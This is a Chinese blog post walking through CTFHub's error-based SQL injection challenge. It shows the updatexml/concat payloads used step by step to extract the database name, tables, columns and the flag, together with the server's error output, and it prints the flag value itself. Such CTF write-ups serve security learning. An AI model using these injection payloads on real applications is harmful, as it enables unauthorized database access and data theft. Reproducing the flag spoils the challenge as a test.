

CTFHUB——sql注入 报错注入

原创

救救直男吧!



于 2022-03-05 18:45:03 发布



288



收藏

分类专栏: [CTFHUB](#) 文章标签: [sql 数据库 database web安全 mysql](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_20737293/article/details/123298915

版权



[CTFHUB 专栏收录该内容](#)

15 篇文章 0 订阅

订阅专栏

靶场地址: [CTFHub](#)

在做报错注入之前, 我们首先需要了解报错注入的函数的使用

报错注入

所需金币: 30 题目状态: **未解出** 解题奖励: 金币:50 经验:10

<http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800>

00:26:26

环境续期

每分钟需要1个金币,请根据个人需求

Flag{.....}

觉得这个WP写的不好有更好的教程 [救救直男吧!](#)

我们打开靶场

challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800

SQL 报错注入

ID 输入个1试试?

CSDN @救救直男吧!

尝试输入一个1

SQL 报错注入

ID 输个1试试?

Search

```
select * from news where id=1
```

查询正确

CSDN @救救直男吧!

看到并没有显示结果，只有一个查询正确。那我们尝试在1后面加入一个单引号，输入1'

SQL 报错注入

ID 输个1试试?

Search

```
select * from news where id=1'
```

查询错误: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1

CSDN @救救直男吧!

这时候我们就看到显示查询错误的信息，并且告诉了我们错误点就是我们那个单引号

然后我们利用我们sql的函数

查询数据库

```
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e,datab
```

SQL 报错注入

ID 输个1试试?

Search

```
select * from news where id=1 union select updatexml(1,concat(0x7e,database()),0x7e),1);
```

查询错误: XPATH syntax error: '~sqli~'

CSDN @救救直男吧!

查询表名

```
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e,(sele
```

SQL 报错注入

ID 输个1试试?

Search

```
select * from news where id=1 union select updatexml(1,concat(0x7e,(select(group_concat(table_name))from information_schema.tables
where table_schema="sqli"),0x7e),1);
查询错误: XPATH syntax error: '~flag,news~'
```

CSDN @救救直男吧!

查询列名

```
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e, (sel
```

SQL 报错注入

ID 输个1试试?

Search

```
select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from
information_schema.columns where table_name="flag" ),0x7e),1);
查询错误: XPATH syntax error: '~flag~'
```

CSDN @救救直男吧!

查内容flag

```
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e, (sel
```

```
http://challenge-484b6a6eb9c5d36f.sandbox.ctfhub.com:10800/?id=1 union select updatexml(1,concat(0x7e, righ
```

SQL 报错注入

ID 输个1试试?

Search

```
select * from news where id=1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1);
查询错误: XPATH syntax error: '~ctfhub{edfb5318fc6fc65abebedef3}'
```

CSDN @救救直男吧!

SQL 报错注入

ID 输入1试试?

Search

```
select * from news where id=1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag),31),0x7e),1);
```

查询错误: XPATH syntax error: '~tfhub(edfb5318fc6fc65abebedef3)'

CSDN @救救直男吧!

将两段flag拼接，即可得到我们的flag